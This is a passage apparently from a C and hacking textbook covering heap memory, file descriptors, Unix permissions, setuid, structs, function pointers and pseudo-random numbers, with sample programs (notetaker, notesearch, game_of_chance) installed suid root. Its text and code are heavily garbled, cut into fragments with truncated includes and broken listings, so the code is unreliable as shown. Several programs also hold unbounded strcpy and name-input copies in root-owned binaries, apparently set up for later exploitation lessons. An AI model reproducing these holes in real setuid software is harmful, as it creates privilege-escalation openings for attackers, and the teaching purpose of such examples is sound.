The first two initialized variables have the lowest memory addresses, since they
are located in the data memory segment
...
These memory addresses are slightly larger than the previous variables'
addresses, since the bss segment is located below the data segment
...
The heap variable is stored in space allocated on the heap segment, which is
located just below the bss segment
...
Finally, the last two
stack_vars have very large memory addresses, since they are located in the stack
segment
...
This allows both
memory segments to be dynamic without wasting space in memory
...
The second stack_var in function() has its own unique context, so
that variable is stored within a different stack frame in the stack segment
...
Since the
stack grows back up toward the heap segment with each new stack frame, the
memory address for the second stack_var(0xbffff814) is smaller than the
address for the first stack_var (0xbffff834) found within main()'s context
...
However, using the heap requires a bit more effort
...
This function accepts a size as its only argument and reserves
that much space in the heap segment, returning the address to the start of this
memory as a void pointer
...
The
corresponding deallocation function is free()
...
These relatively simple functions are demonstrated in
heap_example
...
heap_example
...
h>
#include
h>
int main(int argc, char *argv[]) {
char *char_ptr; // A char pointer
int *int_ptr; // An integer pointer
int mem_size;
if (argc < 2) // If there aren't command-line arguments,
mem_size = 50; // use 50 as the default value
...
\n");
exit(-1);
}
strcpy(char_ptr, "This is memory is located on the heap
...
\n");
exit(-1);
}
*int_ptr = 31337; // Put the value of 31337 where int_ptr is pointing
...
\n");
free(char_ptr); // Freeing heap memory
printf("\t[+] allocating another 15 bytes for char_ptr\n");
char_ptr = (char *) malloc(15); // Allocating more heap memory
if(char_ptr == NULL) { // Error checking, in case malloc() fails
fprintf(stderr, "Error: could not allocate heap memory
...
\n");
free(int_ptr); // Freeing heap memory
printf("\t[-] freeing char_ptr's heap memory
...
Then it uses the malloc() and free()
functions to allocate and deallocate memory on the heap
...
Since malloc() doesn't know what type of memory it's allocating, it
returns a void pointer to the newly allocated heap memory, which must be
typecast into the appropriate type
...
If the allocation
fails and the pointer is NULL, fprintf() is used to print an error message to
standard error and the program exits
...
This function will be explained more later, but for
now, it's just used as a way to properly display an error
...
reader@hacking:~/booksrc $ gcc -o heap_example heap_example
...
/heap_example
[+] allocating 50 bytes of memory on the heap for char_ptr
char_ptr (0x804a008) --> 'This is memory is located on the heap
...
[+] allocating another 15 bytes for char_ptr
char_ptr (0x804a050) --> 'new memory'
[-] freeing int_ptr's heap memory
...
reader@hacking:~/booksrc $
In the preceding output, notice that each block of memory has an incrementally
higher memory address in the heap
...
The heap allocation functions control this behavior,
which can be explored by changing the size of the initial memory allocation
...
/heap_example 100
[+] allocating 100 bytes of memory on the heap for char_ptr
char_ptr (0x804a008) --> 'This is memory is located on the heap
...
[+] allocating another 15 bytes for char_ptr
char_ptr (0x804a008) --> 'new memory'
[-] freeing int_ptr's heap memory
...
reader@hacking:~/booksrc $
If a larger block of memory is allocated and then deallocated, the final 15-byte
allocation will occur in that freed memory space, instead
...
Often, simple informative printf()
statements and a little experimentation can reveal many things about the
underlying system
...
c, there were several error checks for the malloc() calls
...
But with multiple malloc() calls, this error-checking code
needs to appear in multiple places
...
Since all the error-checking code is basically the same
for every malloc() call, this is a perfect place to use a function instead of
repeating the same instructions in multiple places
...
c for an example
...
c
#include
h>
#include
else
mem_size = atoi(argv[1]);
printf("\t[+] allocating %d bytes of memory on the heap for char_ptr\n", mem_size);
char_ptr = (char *) errorchecked_malloc(mem_size); // Allocating heap memory
strcpy(char_ptr, "This is memory is located on the heap
...
printf("int_ptr (%p) --> %d\n", int_ptr, *int_ptr);
printf("\t[-] freeing char_ptr's heap memory
...
\n");
free(int_ptr); // Freeing heap memory
printf("\t[-] freeing char_ptr's heap memory
...
\n");
exit(-1);
}
return ptr;
}
The errorchecked_heap
...
c code, except the heap memory allocation and error checking has
been gathered into a single function
...
This lets the
compiler know that there will be a function called errorchecked_malloc() that
expects a single, unsigned integer argument and returns a void pointer
...
The function itself is quite simple; it just accepts the size in bytes to allocate and
attempts to allocate that much memory using malloc()
...
This way, the custom
errorchecked_malloc() function can be used in place of a normal malloc(),
eliminating the need for repetitious error checking afterward
...
Building on Basics
Once you understand the basic concepts of C programming, the rest is pretty
easy
...
In fact, if the
functions were removed from any of the preceding programs, all that would
remain are very basic statements
...
File descriptors use a set of low-level I/O functions, and filestreams are a higher-level
form of buffered I/O that is built on the lower-level functions
...
In this book, the focus will be on the low-level I/O functions that use file
descriptors
...
Because this number
is unique among the other books in a bookstore, the cashier can scan the number
at checkout and use it to reference information about this book in the store's
database
...
Four common functions that use file descriptors are open(), close(),
read(), and write()
...
The
open() function opens a file for reading and/or writing and returns a file
descriptor
...
The file descriptor is passed as an argument to the other
functions like a pointer to the opened file
...
The read() and write() functions' arguments
are the file descriptor, a pointer to the data to read or write, and the number of
bytes to read or write from that location
...
These flags and their usage will be explained in depth later, but
for now let's take a look at a simple note-taking program that uses file descriptors
—simplenote
...
This program accepts a note as a command-line argument and
then adds it to the end of the file /tmp/notes
...
Other
functions are used to display a usage message and to handle fatal errors
...
simplenote
...
h>
#include
h>
#include
h>
void usage(char *prog_name, char *filename) {
printf("Usage: %s \n", prog_name, filename);
exit(0);
}
void fatal(char *); // A function for fatal errors
void *ec_malloc(unsigned int); // An error-checked malloc() wrapper
int main(int argc, char *argv[]) {
int fd; // file descriptor
char *buffer, *datafile;
buffer = (char *) ec_malloc(100);
datafile = (char *) ec_malloc(20);
strcpy(datafile, "/tmp/notes");
if(argc < 2) // If there aren't command-line arguments,
usage(argv[0], datafile); // display usage message and exit
...
printf("[DEBUG] buffer @ %p: \'%s\'\n", buffer, buffer);
printf("[DEBUG] data file @ %p: \'%s\'\n", datafile, datafile);
strncat(buffer, "\n", 1); // Add a newline on the end
...
\n");
free(buffer);
free(datafile);
}
// A function to display an error message and then exit
void fatal(char *message) {
char error_message[100];
strcpy(error_message, "[!!] Fatal Error ");
strncat(error_message, message, 83);
perror(error_message);
exit(-1);
}
// An error-checked malloc() wrapper function
void *ec_malloc(unsigned int size) {
void *ptr;
ptr = malloc(size);
if(ptr == NULL)
fatal("in ec_malloc() on memory allocation");
return ptr;
}
Besides the strange-looking flags used in the open() function, most of this code
should be readable
...
The strlen() function accepts a string and returns its length
...
The perror() function is short for print error and is used in fatal() to print
an additional error message (if it exists) before exiting
...
c
reader@hacking:~/booksrc $
...
/simplenote
reader@hacking:~/booksrc $
...
reader@hacking:~/booksrc $ cat /tmp/notes
this is a test note
reader@hacking:~/booksrc $
...
reader@hacking:~/booksrc $ cat /tmp/notes
this is a test note
great, it works
reader@hacking:~/booksrc $
The output of the program's execution is pretty self-explanatory, but there are
some things about the source code that need further explanation
...
h
and sys/stat
...
The first set of flags is found in fcntl
...
The access mode must use at least one of the following three flags:
Open file for read-only access
...
O_RDWR Open file for both read and write access
...
A few of the more common and useful of these flags areas follows:
Write data at the end of the file
...
O_CREAT Create the file if it doesn't exist
...
When two bits enter an OR gate, the result is 1 if either the first bit or the second
bit is 1
...
Full 32-bit values can use these bitwise operators to perform
logic operations on each corresponding bit
...
c and the
program output demonstrate these bitwise operations
...
c
#include
bit_b = (i & 1); // Get the first bit
...
bit_b = (i & 1); // Get the first bit
...
c are as follows
...
c
reader@hacking:~/booksrc $
...
out
bitwise OR operator |
0 | 0 = 0
0 | 1 = 1
1 | 0 = 1
1 | 1 = 1
bitwise AND operator &
0 & 0 = 0
0 & 1 = 0
1 & 0 = 0
1 & 1 = 1
reader@hacking:~/booksrc $
The flags used for the open() function have values that correspond to single bits
...
The fcntl_flags
...
h and how they combine with each other
...
c
#include
h>
void display_flags(char *, unsigned int);
void binary_print(unsigned int);
int main(int argc, char *argv[]) {
display_flags("O_RDONLY\t\t", O_RDONLY);
display_flags("O_WRONLY\t\t", O_WRONLY);
display_flags("O_RDWR\t\t\t", O_RDWR);
printf("\n");
display_flags("O_APPEND\t\t", O_APPEND);
display_flags("O_TRUNC\t\t\t", O_TRUNC);
display_flags("O_CREAT\t\t\t", O_CREAT);
printf("\n");
display_flags("O_WRONLY|O_APPEND|O_CREAT", O_WRONLY|O_APPEND|O_CREAT);
}
void display_flags(char *label, unsigned int value) {
printf("%s\t: %d\t:", label, value);
binary_print(value);
printf("\n");
}
void binary_print(unsigned int value) {
unsigned int mask = 0xff000000; // Start with a mask for the highest byte
...
unsigned int byte, byte_iterator, bit_iterator;
for(byte_iterator=0; byte_iterator < 4; byte_iterator++) {
byte = (value & mask) / shift; // Isolate each byte
...
if(byte & 0x80) // If the highest bit in the byte isn't 0,
printf("1"); // print a 1
...
byte *= 2; // Move all the bits to the left by 1
...
shift /= 256; // Move the bits in shift right by 8
...
c are as follows
...
c
reader@hacking:~/booksrc $
...
out
O_RDONLY : 0 : 00000000 00000000 00000000 00000000
O_WRONLY : 1 : 00000000 00000000 00000000 00000001
O_RDWR : 2 : 00000000 00000000 00000000 00000010
O_APPEND : 1024 : 00000000 00000000 00000100 00000000
O_TRUNC : 512 : 00000000 00000000 00000010 00000000
O_CREAT : 64 : 00000000 00000000 00000000 01000000
O_WRONLY|O_APPEND|O_CREAT : 1089 : 00000000 00000000 00000100 01000001
$
Using bit flags in combination with bitwise logic is an efficient and commonly used
technique
...
In
fcntl_flags
...
This technique only works when all the bits
are unique, though
...
This
argument uses bit flags defined in sys/stat
...
Give the file read permission for the user (owner)
...
S_IXUSR Give the file execute permission for the user (owner)
...
S_IWGRP Give the file write permission for the group
...
S_IROTH Give the file read permission for other (anyone)
...
S_IXOTH Give the file execute permission for other (anyone)
...
If they don't make sense, here's a crash course in Unix file
permissions
...
These values can be displayed using ls -l
and are shown below in the following output
...
c
reader@hacking:~/booksrc $
For the /etc/passwd file, the owner is root and the group is also root
...
Read, write, and execute permissions can be turned on and off for three different
fields: user, group, and other
...
These fields are also displayed in the front of the ls -l output
...
The next three characters display the group permissions,
and the last three characters are for the other permissions
...
Each permission corresponds to a bit flag; read is 4 (100 in binary), write is 2
(010 in binary), and execute is 1 (001 in binary)
...
These values can be added together to define
permissions for user, group, and other using the chmod command
...
c
reader@hacking:~/booksrc $ ls -l simplenote
...
c
reader@hacking:~/booksrc $ chmod ugo-wx simplenote
...
c
-r-------- 1 reader reader 1826 2007-09-07 02:51 simplenote
...
c
reader@hacking:~/booksrc $ ls -l simplenote
...
c
reader@hacking:~/booksrc $
The first command (chmod 721) gives read, write, and execute permissions to the
user, since the first number is 7 (4 + 2 + 1), write and execute permissions to
group, since the second number is 3 (2 + 1), and only execute permission to
other, since the third number is 1
...
In the next chmod command, the argument ugo-wx means Subtract
write and execute permissions from user, group, and other
...
In the simplenote program, the open() function uses S_IRUSR|S_IWUSR for its
additional permission argument, which means the /tmp/notes file should only have
user read and write permission when it is created
...
This user ID can be
displayed using the id command
...
The su command can be used to switch to a different user,
and if this command is run as root, it can be done without a password
...
On the LiveCD,
sudo has been configured so it can be executed without a password, for
simplicity's sake
...
reader@hacking:~/booksrc $ sudo su jose
jose@hacking:/home/reader/booksrc $ id
uid=501(jose) gid=501(jose) groups=501(jose)
jose@hacking:/home/reader/booksrc $
As the user jose, the simplenote program will run as jose if it is executed, but it
won't have access to the /tmp/notes file
...
jose@hacking:/home/reader/booksrc $ ls -l /tmp/notes
-rw------- 1 reader reader 36 2007-09-07 05:20 /tmp/notes
jose@hacking:/home/reader/booksrc $
...
For example, the /etc/passwd file contains account information for
every user on the system, including each user's default login shell
...
This program needs to
be able to make changes to the /etc/passwd file, but only on the line that pertains
to the current user's account
...
This is an additional file permission bit that can be set
using chmod
...
reader@hacking:~/booksrc $ which chsh
/usr/bin/chsh
reader@hacking:~/booksrc $ ls -l /usr/bin/chsh /etc/passwd
-rw-r--r-- 1 root root 1424 2007-09-06 21:05 /etc/passwd
-rwsr-xr-x 1 root root 23920 2006-12-19 20:35 /usr/bin/chsh
reader@hacking:~/booksrc $
The chsh program has the setuid flag set, which is indicated by an s in the ls
output above
...
The
/etc/passwd file that chsh writes to is also owned by root and only allows the
owner to write to it
...
This means that a running
program has both a real user ID and an effective user ID
...
c
...
c
#include
c are as follows
...
c
reader@hacking:~/booksrc $ ls -l uid_demo
-rwxr-xr-x 1 reader reader 6825 2007-09-07 05:32 uid_demo
reader@hacking:~/booksrc $
...
/uid_demo
reader@hacking:~/booksrc $ ls -l uid_demo
-rwxr-xr-x 1 root root 6825 2007-09-07 05:32 uid_demo
reader@hacking:~/booksrc $
...
c, both user IDs are shown to be 999 when uid_demo is
executed, since 999 is the user ID for reader
...
The
program can still be executed, since it has execute permission for other, and it
shows that both user IDs remain 999, since that's still the ID of the user
...
/uid_demo
chmod: changing permissions of `
...
/uid_demo
reader@hacking:~/booksrc $ ls -l uid_demo
-rwsr-xr-x 1 root root 6825 2007-09-07 05:32 uid_demo
reader@hacking:~/booksrc $
...
The chmod u+s command turns on the setuid permission,
which can be seen in the following ls -l output
...
This is how the chsh program is able to allow any user to
change his or her login shell stored in /etc/passwd
...
The next
program will be a modification of the simplenote program; it will also record the
user ID of each note's original author
...
The ec_malloc() and fatal() functions have been useful in many of our
programs
...
hacking
...
h, the functions can just be included
...
If the filename is surrounded by
quotes, the compiler looks in the current directory
...
h is in
the same directory as a program, it can be included with that program by typing
#include "hacking
...
The changed lines for the new notetaker program (notetaker
...
notetaker
...
h>
#include
h>
#include
h>
#include "hacking
...
strcpy(buffer, argv[1]); // Copy into buffer
...
// Writing data
if(write(fd, &userid, 4) == -1) // Write user ID before note data
...
if(write(fd, buffer, strlen(buffer)) == -1) // Write note
...
// Closing file
if(close(fd) == -1)
fatal("in main() while closing file");
printf("Note has been saved
...
The getuid() function is used to get the real
user ID, which is written to the datafile on the line before the note's line is
written
...
reader@hacking:~/booksrc $ gcc -o notetaker notetaker
...
/notetaker
reader@hacking:~/booksrc $ sudo chmod u+s
...
/notetaker
-rwsr-xr-x 1 root root 9015 2007-09-07 05:48
...
/notetaker "this is a test of multiuser notes"
[DEBUG] buffer @ 0x804a008: 'this is a test of multiuser notes'
[DEBUG] datafile @ 0x804a070: '/var/notes'
[DEBUG] file descriptor is 3
Note has been saved
...
Now when the program is
executed, the program runs as the root user, so the file /var/notes is also owned
by root when it is created
...
this is a t|
00000010 65 73 74 20 6f 66 20 6d 75 6c 74 69 75 73 65 72 |est of multiuser|
00000020 20 6e 6f 74 65 73 0a | notes
...
Because of
little-endian architecture, the 4 bytes of the integer 999 appear reversed in
hexadecimal (shown in bold above)
...
The notesearch
...
Additionally, an optional
command-line argument can be supplied for a search string
...
notesearch
...
h>
#include
h>
#include
h"
#define FILENAME "/var/notes"
int print_notes(int, int, char *); // Note printing function
...
int search_note(char *, char *); // Search for keyword function
...
userid = getuid();
fd = open(FILENAME, O_RDONLY); // Open the file for read-only access
...
int print_notes(int fd, int uid, char *searchstring) {
int note_length;
char byte=0, note_buffer[100];
note_length = find_user_note(fd, uid);
if(note_length == -1) // If end of file reached,
return 0; // return 0
...
note_buffer[note_length] = 0; // Terminate the string
...
return 1;
}
// A function to find the next note for a given userID;
// returns -1 if the end of the file is reached;
// otherwise, it returns the length of the found note
...
if(read(fd, ¬e_uid, 4) != 4) // Read the uid data
...
if(read(fd, &byte, 1) != 1) // Read the newline separator
...
if(read(fd, &byte, 1) != 1) // Read a single byte
...
length++;
}
}
lseek(fd, length * -1, SEEK_CUR); // Rewind file reading by length bytes
...
int search_note(char *note, char *keyword) {
int i, keyword_length, match=0;
keyword_length = strlen(keyword);
if(keyword_length == 0) // If there is no search string,
return 1; // always "match"
...
if(note[i] == keyword[match]) // If byte matches keyword,
match++; // get ready to check the next byte;
else { // otherwise,
if(note[i] == keyword[0]) // if that byte matches first keyword byte,
match = 1; // start the match count at 1
...
}
if(match == keyword_length) // If there is a full match,
return 1; // return matched
...
}
Most of this code should make sense, but there are some new concepts
...
Also, the function
lseek() is used to rewind the read position in the file
...
Since
this turns out to be a negative number, the position is moved backward by length
bytes
...
c
reader@hacking:~/booksrc $ sudo chown root:root
...
/notesearch
reader@hacking:~/booksrc $
...
But
this is just a single user; what happens if a different user uses the notetaker and
notesearch programs?
reader@hacking:~/booksrc $ sudo su jose
jose@hacking:/home/reader/booksrc $
...
jose@hacking:/home/reader/booksrc $
...
This means that
value is added to all notes written with notetaker, and only notes with a matching
user ID will be displayed by the notesearch program
...
/notetaker "This is another note for the reader user"
[DEBUG] buffer @ 0x804a008: 'This is another note for the reader user'
[DEBUG] datafile @ 0x804a070: '/var/notes'
[DEBUG] file descriptor is 3
Note has been saved
...
/notesearch
[DEBUG] found a 34 byte note for user id 999
this is a test of multiuser notes
[DEBUG] found a 41 byte note for user id 999
This is another note for the reader user
-------[ end of note data ]-------
reader@hacking:~/booksrc $
Similarly, all notes for the user reader have the user ID 999 attached to them
...
This is very similar to how the /etc/passwd file stores user information for all
users, yet programs like chsh and passwd allow any user to change his own shell
or password
...
In C, structs are variables that can contain many other variables
...
A simple example will suffice for now
...
h
...
struct tm {
int tm_sec; /* seconds */
int tm_min; /* minutes */
int tm_hour; /* hours */
int tm_mday; /* day of the month */
int tm_mon; /* month */
int tm_year; /* year */
int tm_wday; /* day of the week */
int tm_yday; /* day in the year */
int tm_isdst; /* daylight saving time */
};
After this struct is defined, struct tm becomes a usable variable type, which can
be used to declare variables and pointers with the data type of the tm struct
...
c program demonstrates this
...
h is included, the tm
struct is defined, which is later used to declare the current_time and time_ptr
variables
...
c
#include
h>
int main() {
long int seconds_since_epoch;
struct tm current_time, *time_ptr;
int hour, minute, second, day, month, year;
seconds_since_epoch = time(0); // Pass time a null pointer as argument
...
localtime_r(&seconds_since_epoch, time_ptr);
// Three different ways to access struct elements:
hour = current_time
...
Time on Unix systems is kept relative to this rather arbitrary point in time, which
is also known as the epoch
...
The pointer time_ptr has already been set to the address of
current_time, an empty tm struct
...
The elements of structs can be accessed in
three different ways; the first two are the proper ways to access struct elements,
and the third is a hacked solution
...
Therefore, current_time
...
Pointers to structs are often used, since it is
much more efficient to pass a four-byte pointer than an entire data structure
...
When
using a struct pointer like time_ptr, struct elements can be similarly accessed by
the struct element's name, but using a series of characters that looks like an
arrow pointing right
...
The seconds could be
accessed via either of these proper methods, using the tm_sec element or the tm
struct, but a third method is used
...
c
reader@hacking:~/booksrc $
...
out
time() - seconds since epoch: 1189311588
Current time is: 04:19:48
reader@hacking:~/booksrc $
...
out
time() - seconds since epoch: 1189311600
Current time is: 04:20:00
reader@hacking:~/booksrc $
The program works as expected, but how are the seconds being accessed in the
tm struct? Remember that in the end, it's all just memory
...
In the line second = *((int *) time_ptr), the variable time_ptr is typecast
from a tm struct pointer to an integer pointer
...
Since the address to
the tm struct also points to the first element of this struct, this will retrieve the
integer value for tm_sec in the struct
...
c code (time_example2
...
This shows that the elements of tm struct are right next to each
other in memory
...
time_example2
...
h>
#include
printf("\n");
}
printf("\n");
}
int main() {
long int seconds_since_epoch;
struct tm current_time, *time_ptr;
int hour, minute, second, i, *int_ptr;
seconds_since_epoch = time(0); // Pass time a null pointer as argument
...
localtime_r(&seconds_since_epoch, time_ptr);
// Three different ways to access struct elements:
hour = current_time
...
int_ptr = (int *) time_ptr;
for(i=0; i < 3; i++) {
printf("int_ptr @ 0x%08x : %d\n", int_ptr, *int_ptr);
int_ptr++; // Adding 1 to int_ptr adds 4 to the address,
} // since an int is 4 bytes in size
...
c are as follows
...
c
reader@hacking:~/booksrc $
...
out
time() - seconds since epoch: 1189311744
Current time is: 04:22:24
bytes of struct located at 0xbffff7f0
18 00 00 00 16 00 00 00 04 00 00 00 09 00 00 00
08 00 00 00 6b 00 00 00 00 00 00 00 fb 00 00 00
00 00 00 00 00 00 00 00 28 a0 04 08
int_ptr @ 0xbffff7f0 : 24
int_ptr @ 0xbffff7f4 : 22
int_ptr @ 0xbffff7f8 : 4
reader@hacking:~/booksrc $
While struct memory can be accessed this way, assumptions are made about the
type of variables in the struct and the lack of any padding between variables
...
Function Pointers
A pointer simply contains a memory address and is given a data type that describes
where it points
...
The funcptr_example
...
funcptr_example
...
h>
int func_one() {
printf("This is function one\n");
return 1;
}
int func_two() {
printf("This is function two\n");
return 2;
}
int main() {
int value;
int (*function_ptr) ();
function_ptr = func_one;
printf("function_ptr is 0x%08x\n", function_ptr);
value = function_ptr();
printf("value returned was %d\n", value);
function_ptr = func_two;
printf("function_ptr is 0x%08x\n", function_ptr);
value = function_ptr();
printf("value returned was %d\n", value);
}
In this program, a function pointer aptly named function_ptr is declared in
main()
...
The output below shows the
compilation and execution of this source code
...
c
reader@hacking:~/booksrc $
...
out
function_ptr is 0x08048374
This is function one
value returned was 1
function_ptr is 0x0804838d
This is function two
value returned was 2
reader@hacking:~/booksrc $
Pseudo-random Numbers
Since computers are deterministic machines, it is impossible for them to produce
truly random numbers
...
The pseudo-random number generator functions fill this need by generating a
stream of numbers that is pseudo-random
...
Deterministic
machines cannot produce true randomness, but if the seed value of the pseudorandom generation function isn't known, the sequence will seem random
...
These functions and RAND_MAX are defined in stdlib
...
While the
numbers rand() returns will appear to be random, they are dependent on the
seed value provided to srand()
...
One common practice is to use the number of seconds since
epoch (returned from the time() function) as the seed
...
c
program demonstrates this technique
...
c
#include
h>
int main() {
int i;
printf("RAND_MAX is %u\n", RAND_MAX);
srand(time(0));
printf("random values from 0 to RAND_MAX\n");
for(i=0; i < 8; i++)
printf("%d\n", rand());
printf("random values from 1 to 20\n");
for(i=0; i < 8; i++)
printf("%d\n", (rand()%20)+1);
}
Notice how the modulus operator is used to obtain random values from 1 to 20
...
c
reader@hacking:~/booksrc $
...
out
RAND_MAX is 2147483647
random values from 0 to RAND_MAX
815015288
1315541117
2080969327
450538726
710528035
907694519
1525415338
1843056422
random values from 1 to 20
2
3
8
5
9
1
4
20
reader@hacking:~/booksrc $
...
out
RAND_MAX is 2147483647
random values from 0 to RAND_MAX
678789658
577505284
1472754734
2134715072
1227404380
1746681907
341911720
93522744
random values from 1 to 20
6
16
12
19
8
19
2
1
reader@hacking:~/booksrc $
The program's output just displays random numbers
...
A Game of Chance
The final program in this section is a set of games of chance that use many of the
concepts we've discussed
...
It has three different game functions,
which are called using a single global function pointer, and it uses structs to hold
data for the player, which is saved in a file
...
The
game_of_chance
...
game_of_chance
...
h>
#include
h>
#include
h>
#include
h"
#define DATAFILE "/var/chance
...
if(get_player_data() == -1) // Try to read player data from file
...
while(choice != 7) {
printf("-=[ Game of Chance Menu ]=-\n");
printf("1 - Play the Pick a Number game\n");
printf("2 - Play the No Match Dealer game\n");
printf("3 - Play the Find the Ace game\n");
printf("4 - View current high score\n");
printf("5 - Change your user name\n");
printf("6 - Reset your account at 100 credits\n");
printf("7 - Quit\n");
printf("[Name: %s]\n", player
...
credits);
scanf("%d", &choice);
if((choice < 1) || (choice > 7))
printf("\n[!!] The number %d is an invalid selection
...
if(choice != last_game) { // If the function ptr isn't set
if(choice == 1) // then point it at the selected game
player
...
current_game = dealer_no_match;
else
player
...
}
play_the_game(); // Play the game
...
\n\n");
}
else if (choice == 6) {
printf("\nYour account has been reset with 100 credits
...
credits = 100;
}
}
update_player_data();
printf("\nThanks for playing! Bye
...
It returns -1 if it is unable to find player
// data for the current uid
...
while(entry
...
read_bytes = read(fd, &entry, sizeof(struct user)); // Keep reading
...
if(read_bytes < sizeof(struct user)) // This means that the end of file was reached
...
return 1; // Return a success
...
// It will create a new player account and append it to the file
...
uid = getuid();
player
...
credits = 100;
fd = open(DATAFILE, O_WRONLY|O_CREAT|O_APPEND, S_IRUSR|S_IWUSR);
if(fd == -1)
fatal("in register_new_player() while opening file");
write(fd, &player, sizeof(struct user));
close(fd);
printf("\nWelcome to the Game of Chance %s
...
name);
printf("You have been given %u credits
...
credits);
}
// This function writes the current player data to the file
...
void update_player_data() {
int fd, i, read_uid;
char burned_byte;
fd = open(DATAFILE, O_RDWR);
if(fd == -1) // If open fails here, something is really wrong
...
while(read_uid != player
...
for(i=0; i < sizeof(struct user) - 4; i++) // Read through the
read(fd, &burned_byte, 1); // rest of that struct
...
}
write(fd, &(player
...
write(fd, &(player
...
write(fd, &(player
...
close(fd);
}
// This function will display the current high score and
// the name of the person who set that high score
...
if(entry
...
highscore; // set top_score to that score
strcpy(top_name, entry
...
}
}
close(fd);
if(top_score > player
...
highscore);
printf("======================================================\n\n");
}
// This function simply awards the jackpot for the Pick a Number game
...
credits += 100;
}
// This function is used to input the player name, since
// scanf("%s", &whatever) will stop input at the first space
...
name_ptr = (char *) &(player
...
*name_ptr = input_char; // Put the input char into name field
...
name_ptr++; // Increment the name pointer
...
}
// This function prints the 3 cards for the Find the Ace game
...
If the user_pick is
// -1, then the selection numbers are displayed
...
_
...
_
...
_
...
It expects the available credits and the
// previous wager as arguments
...
The function
// returns -1 if the wager is too big or too little, and it returns
// the wager amount otherwise
...
printf("Nice try, but you must wager a positive number!\n");
return -1;
}
total_wager = previous_wager + wager;
if(total_wager > available_credits) { // Confirm available credits
printf("Your total wager of %d is more than you have!\n", total_wager);
printf("You only have %d available credits, try again
...
It also writes the new credit totals to file
// after each game is played
...
current_game);
if(player
...
credits > player
...
highscore = player
...
printf("\nYou now have %u credits\n", player
...
printf("Would you like to play again? (y/n) ");
selection = '\n';
while(selection == '\n') // Flush any extra newlines
...
}
}
// This function is the Pick a Number game
...
int pick_a_number() {
int pick, winning_number;
printf("\n####### Pick a Number ######\n");
printf("This game costs 10 credits to play
...
if(player
...
That's not enough to play!\n\n", player
...
credits -= 10; // Deduct 10 credits
...
\n");
printf("Pick a number between 1 and 20: ");
scanf("%d", &pick);
printf("The winning number is %d\n", winning_number);
if(pick == winning_number)
jackpot();
else
printf("Sorry, you didn't win
...
// It returns -1 if the player has 0 credits
...
\n");
printf("The dealer will deal out 16 random numbers between 0 and 99
...
credits == 0) {
printf("You don't have any credits to wager!\n\n");
return -1;
}
while(wager == -1)
wager = take_wager(player
...
printf("%2d\t", numbers[i]);
if(i%8 == 7) // Print a line break every 8 numbers
...
j = i + 1;
while(j < 16) {
if(numbers[i] == numbers[j])
match = numbers[i];
j++;
}
}
if(match != -1) {
printf("The dealer matched the number %d!\n", match);
printf("You lose %d credits
...
credits -= wager;
} else {
printf("There were no matches! You win %d credits!\n", wager);
player
...
// It returns -1 if the player has 0 credits
...
printf("******* Find the Ace *******\n");
printf("In this game, you can wager up to all of your credits
...
\n");
printf("If you find the ace, you will win your wager
...
\n");
printf("At this point, you may either select a different card or\n");
printf("increase your wager
...
credits == 0) {
printf("You don't have any credits to wager!\n\n");
return -1;
}
while(wager_one == -1) // Loop until valid wager is made
...
credits, 0);
print_cards("Dealing cards", cards, -1);
pick = -1;
while((pick < 1) || (pick > 3)) { // Loop until valid pick is made
...
i=0;
while(i == ace || i == pick) // Keep looping until
i++; // we find a valid queen to reveal
...
printf("Would you like to:\n[c]hange your pick\tor\t[i]ncrease your wager?\n");
printf("Select c or i: ");
choice_two = '\n';
while(choice_two == '\n') // Flush extra newlines
...
invalid_choice=0; // This is a valid choice
...
wager_two = take_wager(player
...
i = invalid_choice = 0; // Valid choice
while(i == pick || cards[i] == 'Q') // Loop until the other card
i++; // is found,
pick = i; // and then swap pick
...
if(ace == i)
cards[i] = 'A';
else
cards[i] = 'Q';
}
print_cards("End result", cards, pick);
if(pick == ace) { // Handle win
...
credits += wager_one;
if(wager_two != -1) {
printf("and an additional %d credits from your second wager!\n", wager_two);
player
...
printf("You have lost %d credits from your first wager\n", wager_one);
player
...
credits -= wager_two;
}
}
return 0;
}
Since this is a multi-user program that writes to a file in the /var directory, it must
be suid root
...
c
reader@hacking:~/booksrc $ sudo chown root:root
...
/game_of_chance
reader@hacking:~/booksrc $
...
You have been given 100 credits
...
Simply pick a number
between 1 and 20, and if you pick the winning number, you
will win the jackpot of 100 credits!
10 credits have been deducted from your account
...
Sorry, you didn't win
...
Would you like to play again? (y/n) n
-=[ Game of Chance Menu ]=1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your username
6 - Reset your account at 100 credits
7 - Quit
[Name: Jon Erickson]
[You have 90 credits] -> 2
[DEBUG] current_game pointer @ 0x08048f61
::::::: No Match Dealer :::::::
In this game you can wager up to all of your credits
...
If there are no matches among them, you double your money!
How many of your 90 credits would you like to wager? 30
::: Dealing out 16 random numbers :::
88 68 82 51 21 73 80 50
11 64 78 85 39 42 40 95
There were no matches! You win 30 credits!
You now have 120 credits
Would you like to play again? (y/n) n
-=[ Game of Chance Menu ]=1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your username
6 - Reset your account at 100 credits
7 - Quit
[Name: Jon Erickson]
[You have 120 credits] -> 3
[DEBUG] current_game pointer @ 0x0804914c
******* Find the Ace *******
In this game you can wager up to all of your credits
...
If you find the ace, you will win your wager
...
At this point you may either select a different card or
increase your wager
...
_
...
_
...
_
...
_
...
*** End result ***
...
_
...
Cards: |A| |Q| |Q|
^-- your pick
You have won 50 credits from your first wager
...
Would you like to play again? (y/n) n
-=[ Game of Chance Menu ]=1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your username
6 - Reset your account at 100 credits
7 - Quit
[Name: Jon Erickson]
[You have 170 credits] -> 4
====================| HIGH SCORE |====================
You currently have the high score of 170 credits!
======================================================
-=[ Game of Chance Menu ]=1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your username
6 - Reset your account at 100 credits
7 - Quit
[Name: Jon Erickson]
[You have 170 credits] -> 7
Thanks for playing! Bye
...
/game_of_chance
-=-={ New Player Registration }=-=Enter your name: Jose Ronnick
Welcome to the Game of Chance Jose Ronnick
...
-=[ Game of Chance Menu ]=1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score 5 - Change your username
6 - Reset your account at 100 credits
7 - Quit
[Name: Jose Ronnick]
[You have 100 credits] -> 4
====================| HIGH SCORE |====================
Jon Erickson has the high score of 170
...
jose@hacking:~/booksrc $ exit
exit
reader@hacking:~/booksrc $
